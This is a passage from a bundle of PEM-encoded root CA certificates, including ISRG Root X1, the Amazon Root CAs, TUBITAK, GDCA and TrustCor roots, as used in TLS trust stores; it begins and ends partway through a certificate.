dJWyUWRrjWvmP3CV8AVER6ZyOFB2lQJajq4onvktTpnvLEhvTCUp6NFxW98dwXU3tNf6e3pCnGoK Vlp8aQuqgAkkbH7BRqNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0O BBYEFLQiC4KZJAEOnLvkDv2/+5cgk5kqMAoGCCqGSM49BAMCA2cAMGQCMGfOFmI4oqxiRaeplSTA GiecMjvAwNW6qef4BENThe5SId6d9SWDPp5YSy/XZxMOIQIwBeF1Ad5o7SofTUwJCA3sS61kFyjn dc5FZXIhF8siQQ6ME5g4mlRtm8rifOoCWCKR -----END CERTIFICATE----- ISRG Root X1 ============ -----BEGIN CERTIFICATE----- MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAwTzELMAkGA1UE BhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2VhcmNoIEdyb3VwMRUwEwYDVQQD EwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQG EwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMT DElTUkcgUm9vdCBYMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54r Vygch77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+0TM8ukj1 3Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6UA5/TR5d8mUgjU+g4rk8K b4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sWT8KOEUt+zwvo/7V3LvSye0rgTBIlDHCN Aymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyHB5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ 4Q7e2RCOFvu396j3x+UCB5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf 1b0SHzUvKBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWnOlFu hjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTnjh8BCNAw1FtxNrQH usEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbwqHyGO0aoSCqI3Haadr8faqU9GY/r OPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CIrU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4G A1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY 9umbbjANBgkqhkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ3BebYhtF8GaV 0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KKNFtY2PwByVS5uCbMiogziUwt hDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJw TdwJx4nLCgdNbOhdjsnvzqvHu7UrTkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nx e5AW0wdeRlN8NwdCjNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZA JzVcoyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq4RgqsahD YVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPAmRGunUHBcnWEvgJBQl9n JEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57demyPxgcYxn/eR44/KJ4EBs+lVDR3veyJ m+kXQ99b21/+jh5Xos1AnX5iItreGCc= -----END CERTIFICATE----- AC RAIZ FNMT-RCM ================ -----BEGIN CERTIFICATE----- MIIFgzCCA2ugAwIBAgIPXZONMGc2yAYdGsdUhGkHMA0GCSqGSIb3DQEBCwUAMDsxCzAJBgNVBAYT AkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTAeFw0wODEw MjkxNTU5NTZaFw0zMDAxMDEwMDAwMDBaMDsxCzAJBgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJD TTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC ggIBALpxgHpMhm5/yBNtwMZ9HACXjywMI7sQmkCpGreHiPibVmr75nuOi5KOpyVdWRHbNi63URcf qQgfBBckWKo3Shjf5TnUV/3XwSyRAZHiItQDwFj8d0fsjz50Q7qsNI1NOHZnjrDIbzAzWHFctPVr btQBULgTfmxKo0nRIBnuvMApGGWn3v7v3QqQIecaZ5JCEJhfTzC8PhxFtBDXaEAUwED653cXeuYL j2VbPNmaUtu1vZ5Gzz3rkQUCwJaydkxNEJY7kvqcfw+Z374jNUUeAlz+taibmSXaXvMiwzn15Cou 08YfxGyqxRxqAQVKL9LFwag0Jl1mpdICIfkYtwb1TplvqKtMUejPUBjFd8g5CSxJkjKZqLsXF3mw WsXmo8RZZUc1g16p6DULmbvkzSDGm0oGObVo/CK67lWMK07q87Hj/LaZmtVC+nFNCM+HHmpxffnT tOmlcYF7wk5HlqX2doWjKI/pgG6BU6VtX7hI+cL5NqYuSf+4lsKMB7ObiFj86xsc3i1w4peSMKGJ 47xVqCfWS+2QrYv6YyVZLag13cqXM7zlzced0ezvXg5KkAYmY6252TUtB7p2ZSysV4999AeU14EC ll2jB0nVetBX+RvnU0Z1qrB5QstocQjpYL05ac70r8NWQMetUqIJ5G+GR4of6ygnXYMgrwTJbFaa i0b1AgMBAAGjgYMwgYAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE FPd9xf3E6Jobd2Sn9R2gzL+HYJptMD4GA1UdIAQ3MDUwMwYEVR0gADArMCkGCCsGAQUFBwIBFh1o dHRwOi8vd3d3LmNlcnQuZm5tdC5lcy9kcGNzLzANBgkqhkiG9w0BAQsFAAOCAgEAB5BK3/MjTvDD nFFlm5wioooMhfNzKWtN/gHiqQxjAb8EZ6WdmF/9ARP67Jpi6Yb+tmLSbkyU+8B1RXxlDPiyN8+s D8+Nb/kZ94/sHvJwnvDKuO+3/3Y3dlv2bojzr2IyIpMNOmqOFGYMLVN0V2Ue1bLdI4E7pWYjJ2cJ j+F3qkPNZVEI7VFY/uY5+ctHhKQV8Xa7pO6kO8Rf77IzlhEYt8llvhjho6Tc+hj507wTmzl6NLrT Qfv6MooqtyuGC2mDOL7Nii4LcK2NJpLuHvUBKwrZ1pebbuCoGRw6IYsMHkCtA+fdZn71uSANA+iW +YJF1DngoABd15jmfZ5nc8OaKveri6E6FO80vFIOiZiaBECEHX5FaZNXzuvO+FB8TxxuBEOb+dY7 Ixjp6o7RTUaN8Tvkasq6+yO3m/qZASlaWFot4/nUbQ4mrcFuNLwy+AwF+mWj2zs3gyLp1txyM/1d 8iC9djwj2ij3+RvrWWTV3F9yfiD8zYm1kGdNYno/Tq0dwzn+evQoFt9B9kiABdcPUXmsEKvU7ANm 5mqwujGSQkBqvjrTcuFqN1W8rB2Vt2lh8kORdOag0wokRqEIr9baRRmW1FMdW4R58MD3R++Lj8UG rp1MYp3/RgT408m2ECVAdf4WqslKYIYvuu8wd+RU4riEmViAqhOLUTpPSPaLtrM= -----END CERTIFICATE----- Amazon Root CA 1 ================ -----BEGIN CERTIFICATE----- MIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsFADA5MQswCQYD VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAxMB4XDTE1 MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBALJ4gHHKeNXjca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgH FzZM9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qwIFAGbHrQ gLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6VOujw5H5SNz/0egwLX0t dHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L93FcXmn/6pUCyziKrlA4b9v7LWIbxcce VOF34GfID5yHI9Y/QCB/IIDEgEw+OyQmjgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB /zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3 DQEBCwUAA4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDIU5PM CCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUsN+gDS63pYaACbvXy 8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vvo/ufQJVtMVT8QtPHRh8jrdkPSHCa 2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2 xJNDd2ZhwLnoQdeXeGADbkpyrqXRfboQnoZsG4q5WTP468SQvvG5 -----END CERTIFICATE----- Amazon Root CA 2 ================ -----BEGIN CERTIFICATE----- MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwFADA5MQswCQYD VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAyMB4XDTE1 MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC ggIBAK2Wny2cSkxKgXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4 kHbZW0/jTOgGNk3Mmqw9DJArktQGGWCsN0R5hYGCrVo34A3MnaZMUnbqQ523BNFQ9lXg1dKmSYXp N+nKfq5clU1Imj+uIFptiJXZNLhSGkOQsL9sBbm2eLfq0OQ6PBJTYv9K8nu+NQWpEjTj82R0Yiw9 AElaKP4yRLuH3WUnAnE72kr3H9rN9yFVkE8P7K6C4Z9r2UXTu/Bfh+08LDmG2j/e7HJV63mjrdvd fLC6HM783k81ds8P+HgfajZRRidhW+mez/CiVX18JYpvL7TFz4QuK/0NURBs+18bvBt+xa47mAEx kv8LV/SasrlX6avvDXbR8O70zoan4G7ptGmh32n2M8ZpLpcTnqWHsFcQgTfJU7O7f/aS0ZzQGPSS btqDT6ZjmUyl+17vIWR6IF9sZIUVyzfpYgwLKhbcAS4y2j5L9Z469hdAlO+ekQiG+r5jqFoz7Mt0 Q5X5bGlSNscpb/xVA1wf+5+9R+vnSUeVC06JIglJ4PVhHvG/LopyboBZ/1c6+XUyo05f7O0oYtlN c/LMgRdg7c3r3NunysV+Ar3yVAhU/bQtCSwXVEqY0VThUWcI0u1ufm8/0i2BWSlmy5A5lREedCf+ 3euvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSw DPBMMPQFWAJI/TPlUq9LhONmUjANBgkqhkiG9w0BAQwFAAOCAgEAqqiAjw54o+Ci1M3m9Zh6O+oA A7CXDpO8Wqj2LIxyh6mx/H9z/WNxeKWHWc8w4Q0QshNabYL1auaAn6AFC2jkR2vHat+2/XcycuUY +gn0oJMsXdKMdYV2ZZAMA3m3MSNjrXiDCYZohMr/+c8mmpJ5581LxedhpxfL86kSk5Nrp+gvU5LE YFiwzAJRGFuFjWJZY7attN6a+yb3ACfAXVU3dJnJUH/jWS5E4ywl7uxMMne0nxrpS10gxdr9HIcW xkPo1LsmmkVwXqkLN1PiRnsn/eBG8om3zEK2yygmbtmlyTrIQRNg91CMFa6ybRoVGld45pIq2WWQ gj9sAq+uEjonljYE1x2igGOpm/HlurR8FLBOybEfdF849lHqm/osohHUqS0nGkWxr7JOcQ3AWEbW aQbLU8uz/mtBzUF+fUwPfHJ5elnNXkoOrJupmHN5fLT0zLm4BwyydFy4x2+IoZCn9Kr5v2c69BoV Yh63n749sSmvZ6ES8lgQGVMDMBu4Gon2nL2XA46jCfMdiyHxtN/kHNGfZQIG6lzWE7OE76KlXIx3 KadowGuuQNKotOrN8I1LOJwZmhsoVLiJkO/KdYE+HvJkJMcYr07/R54H9jVlpNMKVv/1F2Rs76gi JUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT4PsJYGw= -----END CERTIFICATE----- Amazon Root CA 3 ================ -----BEGIN CERTIFICATE----- MIIBtjCCAVugAwIBAgITBmyf1XSXNmY/Owua2eiedgPySjAKBggqhkjOPQQDAjA5MQswCQYDVQQG EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAzMB4XDTE1MDUy NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABCmXp8ZB f8ANm+gBG1bG8lKlui2yEujSLtf6ycXYqm0fc4E7O5hrOXwzpcVOho6AF2hiRVd9RFgdszflZwjr Zt6jQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSrttvXBp43 rDCGB5Fwx5zEGbF4wDAKBggqhkjOPQQDAgNJADBGAiEA4IWSoxe3jfkrBqWTrBqYaGFy+uGh0Psc eGCmQ5nFuMQCIQCcAu/xlJyzlvnrxir4tiz+OpAUFteMYyRIHN8wfdVoOw== -----END CERTIFICATE----- Amazon Root CA 4 ================ -----BEGIN CERTIFICATE----- MIIB8jCCAXigAwIBAgITBmyf18G7EEwpQ+Vxe3ssyBrBDjAKBggqhkjOPQQDAzA5MQswCQYDVQQG EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSA0MB4XDTE1MDUy NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgNDB2MBAGByqGSM49AgEGBSuBBAAiA2IABNKrijdPo1MN /sGKe0uoe0ZLY7Bi9i0b2whxIdIA6GO9mif78DluXeo9pcmBqqNbIJhFXRbb/egQbeOc4OO9X4Ri 83BkM6DLJC9wuoihKqB1+IGuYgbEgds5bimwHvouXKNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV HQ8BAf8EBAMCAYYwHQYDVR0OBBYEFNPsxzplbszh2naaVvuc84ZtV+WBMAoGCCqGSM49BAMDA2gA MGUCMDqLIfG9fhGt0O9Yli/W651+kI0rz2ZVwyzjKKlwCkcO8DdZEv8tmZQoTipPNU0zWgIxAOp1 AE47xDqUEpHJWEadIRNyp4iciuRMStuW1KyLa2tJElMzrdfkviT8tQp21KW8EA== -----END CERTIFICATE----- TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1 ============================================= -----BEGIN CERTIFICATE----- MIIEYzCCA0ugAwIBAgIBATANBgkqhkiG9w0BAQsFADCB0jELMAkGA1UEBhMCVFIxGDAWBgNVBAcT D0dlYnplIC0gS29jYWVsaTFCMEAGA1UEChM5VHVya2l5ZSBCaWxpbXNlbCB2ZSBUZWtub2xvamlr IEFyYXN0aXJtYSBLdXJ1bXUgLSBUVUJJVEFLMS0wKwYDVQQLEyRLYW11IFNlcnRpZmlrYXN5b24g TWVya2V6aSAtIEthbXUgU00xNjA0BgNVBAMTLVRVQklUQUsgS2FtdSBTTSBTU0wgS29rIFNlcnRp ZmlrYXNpIC0gU3VydW0gMTAeFw0xMzExMjUwODI1NTVaFw00MzEwMjUwODI1NTVaMIHSMQswCQYD VQQGEwJUUjEYMBYGA1UEBxMPR2ViemUgLSBLb2NhZWxpMUIwQAYDVQQKEzlUdXJraXllIEJpbGlt c2VsIHZlIFRla25vbG9qaWsgQXJhc3Rpcm1hIEt1cnVtdSAtIFRVQklUQUsxLTArBgNVBAsTJEth bXUgU2VydGlmaWthc3lvbiBNZXJrZXppIC0gS2FtdSBTTTE2MDQGA1UEAxMtVFVCSVRBSyBLYW11 IFNNIFNTTCBLb2sgU2VydGlmaWthc2kgLSBTdXJ1bSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEAr3UwM6q7a9OZLBI3hNmNe5eA027n/5tQlT6QlVZC1xl8JoSNkvoBHToP4mQ4t4y8 6Ij5iySrLqP1N+RAjhgleYN1Hzv/bKjFxlb4tO2KRKOrbEz8HdDc72i9z+SqzvBV96I01INrN3wc wv61A+xXzry0tcXtAA9TNypN9E8Mg/uGz8v+jE69h/mniyFXnHrfA2eJLJ2XYacQuFWQfw4tJzh0 3+f92k4S400VIgLI4OD8D62K18lUUMw7D8oWgITQUVbDjlZ/iSIzL+aFCr2lqBs23tPcLG07xxO9 WSMs5uWk99gL7eqQQESolbuT1dCANLZGeA4fAJNG4e7p+exPFwIDAQABo0IwQDAdBgNVHQ4EFgQU ZT/HiobGPN08VFw1+DrtUgxHV8gwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJ KoZIhvcNAQELBQADggEBACo/4fEyjq7hmFxLXs9rHmoJ0iKpEsdeV31zVmSAhHqT5Am5EM2fKifh AHe+SMg1qIGf5LgsyX8OsNJLN13qudULXjS99HMpw+0mFZx+CFOKWI3QSyjfwbPfIPP54+M638yc lNhOT8NrF7f3cuitZjO1JVOr4PhMqZ398g26rrnZqsZr+ZO7rqu4lzwDGrpDxpa5RXI4s6ehlj2R e37AIVNMh+3yC1SVUZPVIqUNivGTDj5UDrDYyU7c8jEyVupk+eq1nRZmQnLzf9OxMUP8pI4X8W0j q5Rm+K37DwhuJi1/FwcJsoz7UMCflo3Ptv0AnVoUmr8CRPXBwp8iXqIPoeM= -----END CERTIFICATE----- GDCA TrustAUTH R5 ROOT ====================== -----BEGIN CERTIFICATE----- MIIFiDCCA3CgAwIBAgIIfQmX/vBH6nowDQYJKoZIhvcNAQELBQAwYjELMAkGA1UEBhMCQ04xMjAw BgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZIENPLixMVEQuMR8wHQYDVQQD DBZHRENBIFRydXN0QVVUSCBSNSBST09UMB4XDTE0MTEyNjA1MTMxNVoXDTQwMTIzMTE1NTk1OVow YjELMAkGA1UEBhMCQ04xMjAwBgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZ IENPLixMVEQuMR8wHQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEA2aMW8Mh0dHeb7zMNOwZ+Vfy1YI92hhJCfVZmPoiC7XJjDp6L3TQs AlFRwxn9WVSEyfFrs0yw6ehGXTjGoqcuEVe6ghWinI9tsJlKCvLriXBjTnnEt1u9ol2x8kECK62p OqPseQrsXzrj/e+APK00mxqriCZ7VqKChh/rNYmDf1+uKU49tm7srsHwJ5uu4/Ts765/94Y9cnrr pftZTqfrlYwiOXnhLQiPzLyRuEH3FMEjqcOtmkVEs7LXLM3GKeJQEK5cy4KOFxg2fZfmiJqwTTQJ 9Cy5WmYqsBebnh52nUpmMUHfP/vFBu8btn4aRjb3ZGM74zkYI+dndRTVdVeSN72+ahsmUPI2JgaQ xXABZG12ZuGR224HwGGALrIuL4xwp9E7PLOR5G62xDtw8mySlwnNR30YwPO7ng/Wi64HtloPzgsM R6flPri9fcebNaBhlzpBdRfMK5Z3KpIhHtmVdiBnaM8Nvd/WHwlqmuLMc3GkL30SgLdTMEZeS1SZ D2fJpcjyIMGC7J0R38IC+xo70e0gmu9lZJIQDSri3nDxGGeCjGHeuLzRL5z7D9Ar7Rt2ueQ5Vfj4 oR24qoAATILnsn8JuLwwoC8N9VKejveSswoAHQBUlwbgsQfZxw9cZX08bVlX5O2ljelAU58VS6Bx 9hoh49pwBiFYFIeFd3mqgnkCAwEAAaNCMEAwHQYDVR0OBBYEFOLJQJ9NzuiaoXzPDj9lxSmIahlR MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQDRSVfg p8xoWLoBDysZzY2wYUWsEe1jUGn4H3++Fo/9nesLqjJHdtJnJO29fDMylyrHBYZmDRd9FBUb1Ov9 H5r2XpdptxolpAqzkT9fNqyL7FeoPueBihhXOYV0GkLH6VsTX4/5COmSdI31R9KrO9b7eGZONn35 6ZLpBN79SWP8bfsUcZNnL0dKt7n/HipzcEYwv1ryL3ml4Y0M2fmyYzeMN2WFcGpcWwlyua1jPLHd +PwyvzeG5LuOmCd+uh8W4XAR8gPfJWIyJyYYMoSf/wA6E7qaTfRPuBRwIrHKK5DOKcFw9C+df/KQ HtZa37dG/OaG+svgIHZ6uqbL9XzeYqWxi+7egmaKTjowHz+Ay60nugxe19CxVsp3cbK1daFQqUBD F8Io2c9Si1vIY9RCPqAzekYu9wogRlR+ak8x8YF+QnQ4ZXMn7sZ8uI7XpTrXmKGcjBBV09tL7ECQ 8s1uV9JiDnxXk7Gnbc2dg7sq5+W2O3FYrf3RRbxake5TFW/TRQl1brqQXR4EzzffHqhmsYzmIGrv /EhOdJhCrylvLmrH+33RZjEizIYAfmaDDEL0vTSSwxrqT8p+ck0LcIymSLumoRT2+1hEmRSuqguT aaApJUqlyyvdimYHFngVV3Eb7PVHhPOeMTd61X8kreS8/f3MboPoDKi3QWwH3b08hpcv0g== -----END CERTIFICATE----- TrustCor RootCert CA-1 ====================== -----BEGIN CERTIFICATE----- MIIEMDCCAxigAwIBAgIJANqb7HHzA7AZMA0GCSqGSIb3DQEBCwUAMIGkMQswCQYDVQQGEwJQQTEP MA0GA1UECAwGUGFuYW1hMRQwEgYDVQQHDAtQYW5hbWEgQ2l0eTEkMCIGA1UECgwbVHJ1c3RDb3Ig U3lzdGVtcyBTLiBkZSBSLkwuMScwJQYDVQQLDB5UcnVzdENvciBDZXJ0aWZpY2F0ZSBBdXRob3Jp dHkxHzAdBgNVBAMMFlRydXN0Q29yIFJvb3RDZXJ0IENBLTEwHhcNMTYwMjA0MTIzMjE2WhcNMjkx MjMxMTcyMzE2WjCBpDELMAkGA1UEBhMCUEExDzANBgNVBAgMBlBhbmFtYTEUMBIGA1UEBwwLUGFu YW1hIENpdHkxJDAiBgNVBAoMG1RydXN0Q29yIFN5c3RlbXMgUy4gZGUgUi5MLjEnMCUGA1UECwwe VHJ1c3RDb3IgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MR8wHQYDVQQDDBZUcnVzdENvciBSb290Q2Vy dCBDQS0xMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv463leLCJhJrMxnHQFgKq1mq jQCj/IDHUHuO1CAmujIS2CNUSSUQIpidRtLByZ5OGy4sDjjzGiVoHKZaBeYei0i/mJZ0PmnK6bV4 pQa81QBeCQryJ3pS/C3Vseq0iWEk8xoT26nPUu0MJLq5nux+AHT6k61sKZKuUbS701e/s/OojZz0 JEsq1pme9J7+wH5COucLlVPat2gOkEz7cD+PSiyU8ybdY2mplNgQTsVHCJCZGxdNuWxu72CVEY4h gLW9oHPY0LJ3xEXqWib7ZnZ2+AYfYW0PVcWDtxBWcgYHpfOxGgMFZA6dWorWhnAbJN7+KIor0Gqw /Hqi3LJ5DotlDwIDAQABo2MwYTAdBgNVHQ4EFgQU7mtJPHo/DeOxCbeKyKsZn3MzUOcwHwYDVR0j BBgwFoAU7mtJPHo/DeOxCbeKyKsZn3MzUOcwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AYYwDQYJKoZIhvcNAQELBQADggEBACUY1JGPE+6PHh0RU9otRCkZoB5rMZ5NDp6tPVxBb5UrJKF5 mDo4Nvu7Zp5I/5CQ7z3UuJu0h3U/IJvOcs+hVcFNZKIZBqEHMwwLKeXx6quj7LUKdJDHfXLy11yf ke+Ri7fc7Waiz45mO7yfOgLgJ90WmMCV1Aqk5IGadZQ1nJBfiDcGrVmVCrDRZ9MZyonnMlo2HD6C qFqTvsbQZJG2z9m2GM/bftJlo6bEjhcxwft+dtvTheNYsnd6djtsL1Ac59v2Z3kf9YKVmgenFK+P 3CghZwnS1k1aHBkcjndcw5QkPTJrS37UeJSDvjdNzl/HHk484IkzlQsPpTLWPFp5LBk= -----END CERTIFICATE----- TrustCor RootCert CA-2 ====================== -----BEGIN CERTIFICATE----- MIIGLzCCBBegAwIBAgIIJaHfyjPLWQIwDQYJKoZIhvcNAQELBQAwgaQxCzAJBgNVBAYTAlBBMQ8w DQYDVQQIDAZQYW5hbWExFDASBgNVBAcMC1BhbmFtYSBDaXR5MSQwIgYDVQQKDBtUcnVzdENvciBT eXN0ZW1zIFMuIGRlIFIuTC4xJzAlBgNVBAsMHlRydXN0Q29yIENlcnRpZmljYXRlIEF1dGhvcml0 eTEfMB0GA1UEAwwWVHJ1c3RDb3IgUm9vdENlcnQgQ0EtMjAeFw0xNjAyMDQxMjMyMjNaFw0zNDEy MzExNzI2MzlaMIGkMQswCQYDVQQGEwJQQTEPMA0GA1UECAwGUGFuYW1hMRQwEgYDVQQHDAtQYW5h bWEgQ2l0eTEkMCIGA1UECgwbVHJ1c3RDb3IgU3lzdGVtcyBTLiBkZSBSLkwuMScwJQYDVQQLDB5U cnVzdENvciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkxHzAdBgNVBAMMFlRydXN0Q29yIFJvb3RDZXJ0 IENBLTIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnIG7CKqJiJJWQdsg4foDSq8Gb ZQWU9MEKENUCrO2fk8eHyLAnK0IMPQo+QVqedd2NyuCb7GgypGmSaIwLgQ5WoD4a3SwlFIIvl9Nk RvRUqdw6VC0xK5mC8tkq1+9xALgxpL56JAfDQiDyitSSBBtlVkxs1Pu2YVpHI7TYabS3OtB0PAx1 oYxOdqHp2yqlO/rOsP9+aij9JxzIsekp8VduZLTQwRVtDr4uDkbIXvRR/u8OYzo7cbrPb1nKDOOb XUm4TOJXsZiKQlecdu/vvdFoqNL0Cbt3Nb4lggjEFixEIFapRBF37120Hapeaz6LMvYHL1cEksr1 /p3C6eizjkxLAjHZ5DxIgif3GIJ2SDpxsROhOdUuxTTCHWKF3wP+TfSvPd9cW436cOGlfifHhi5q jxLGhF5DUVCcGZt45vz27Ud+ez1m7xMTiF88oWP7+ayHNZ/zgp6kPwqcMWmLmaSISo5uZk3vFsQP eSghYA2FFn3XVDjxklb9tTNMg9zXEJ9L/cb4Qr26fHMC4P99zVvh1Kxhe1fVSntb1IVYJ12/+Ctg rKAmrhQhJ8Z3mjOAPF5GP/fDsaOGM8boXg25NSyqRsGFAnWAoOsk+xWq5Gd/bnc/9ASKL3x74xdh 8N0JqSDIvgmk0H5Ew7IwSjiqqewYmgeCK9u4nBit2uBGF6zPXQIDAQABo2MwYTAdBgNVHQ4EFgQU 2f4hQG6UnrybPZx9mCAZ5YwwYrIwHwYDVR0jBBgwFoAU2f4hQG6UnrybPZx9mCAZ5YwwYrIwDwYD VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQELBQADggIBAJ5Fngw7tu/h Osh80QA9z+LqBrWyOrsGS2h60COXdKcs8AjYeVrXWoSK2BKaG9l9XE1wxaX5q+WjiYndAfrs3fnp kpfbsEZC89NiqpX+MWcUaViQCqoL7jcjx1BRtPV+nuN79+TMQjItSQzL/0kMmx40/W5ulop5A7Zv 2wnL/V9lFDfhOPXzYRZY5LVtDQsEGz9QLX+zx3oaFoBg+Iof6Rsqxvm6ARppv9JYx1RXCI/hOWB3 S6xZhBqI8d3LT3jX5+EzLfzuQfogsL7L9ziUwOHQhQ+77Sxzq+3+knYaZH9bDTMJBzN7Bj8RpFxw PIXAz+OQqIN3+tvmxYxoZxBnpVIt8MSZj3+/0WvitUfW2dCFmU2Umw9Lje4AWkcdEQOsQRivh7dv DDqPys/cA8GiCcjl/YBeyGBCARsaU1q7N6a3vLqE6R5sGtRk2tRD/pOLS/IseRYQ1JMLiI+h2IYU 